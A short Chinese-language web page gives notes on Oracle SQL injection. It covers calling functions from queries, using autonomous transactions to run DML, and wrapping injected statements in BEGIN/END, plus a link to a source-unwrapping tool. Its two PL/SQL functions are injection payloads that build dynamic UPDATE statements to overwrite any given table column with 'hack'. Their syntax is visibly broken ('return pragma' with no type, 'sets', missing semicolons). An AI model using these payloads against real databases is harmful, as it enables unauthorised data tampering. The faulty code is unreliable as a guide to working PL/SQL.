您好,登錄后才能下訂單哦!
1. 查詢語句后只能直接調用函數,不能直接調用存儲過程,例如:select function() from dual可以,select procedure() from dual不行;
2. 查詢語句中無法執行DML或DDL操作,也就是說如果被調用的函數里有insert、update、delete、create之類的寫操作,就會報錯,除非函數被聲明為自治事務,關鍵字PRAGMA AUTONOMOUS_TRANSACTION;
create or replace function funinject(ftable varchar2, fcol varchar2) return pragma autonomous_transaction; my_sql varchar2(1000); begin my_sql := 'update '|| ftable || ' sets '|| fcol ||'=''hack'''; execute immediate my_sql; commit; return 'inject' end funinject
3. 如果函數中有insert、update、delete、create之類的寫操作,則只能注入到insert、update、delete之類的子查詢里,例如:insert into table values(1,select function() from dual);
4. Oracle不能注入多語句,除非被注入的SQL動態語句在begin和end之間例如:
create or replace function funinjecting(ftable varchar2, fcol varchar2) return varchar2 is my_sql varchar2(1000); begin my_sql := 'begin update '|| ftable || ' set '||fcol||'=''hack'';end;'; execute immediate my_sql; return 'inject' end funinjecting
unwrap Oracle SQL源碼的工具
http://yun.baidu.com/s/1kTgP2SZ
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。